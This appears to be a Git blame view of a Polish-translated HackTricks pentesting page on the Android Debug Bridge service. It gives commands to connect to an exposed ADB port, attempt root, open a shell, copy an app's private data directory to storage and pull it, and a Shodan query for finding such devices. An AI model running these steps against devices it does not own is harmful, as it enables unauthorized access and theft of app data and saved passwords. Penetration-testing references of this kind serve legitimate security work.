hacktricks/network-services-pentesting/5555-android-debug-bridge.md

62 lines
3.8 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5555 - Android Debug Bridge
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Podstawowe informacje
2021-11-12 01:11:08 +00:00
2024-02-11 01:46:25 +00:00
Z [dokumentacji](https://developer.android.com/studio/command-line/adb):
2024-02-08 21:36:35 +00:00
2024-02-11 01:46:25 +00:00
**Android Debug Bridge** (adb) to wszechstronne narzędzie wiersza poleceń, które umożliwia komunikację z urządzeniem. Polecenie adb ułatwia różne działania na urządzeniu, takie jak **instalowanie i debugowanie aplikacji**, oraz zapewnia **dostęp do powłoki Unix**, którą można używać do wykonywania różnych poleceń na urządzeniu.
2021-11-12 01:11:08 +00:00
2024-02-11 01:46:25 +00:00
**Domyślny port**: 5555.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
2024-02-11 01:46:25 +00:00
## Połączenie
2021-11-12 01:11:08 +00:00
2024-02-11 01:46:25 +00:00
Jeśli znajdziesz usługę ADB działającą na porcie urządzenia i możesz się do niej podłączyć, **możesz uzyskać powłokę wewnątrz systemu:**
2021-11-12 01:11:08 +00:00
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
2024-02-11 01:46:25 +00:00
Aby całkowicie pobrać dane aplikacji, możesz:
2021-11-12 01:11:08 +00:00
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
2024-02-11 01:46:25 +00:00
Możesz użyć tego triku do **odzyskania wrażliwych informacji, takich jak hasła do Chrome**. Aby uzyskać więcej informacji na ten temat, sprawdź informacje i odniesienia podane [**tutaj**](https://github.com/carlospolop/hacktricks/issues/274).
2022-05-01 13:25:53 +00:00
## Shodan
* `android debug bridge`
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>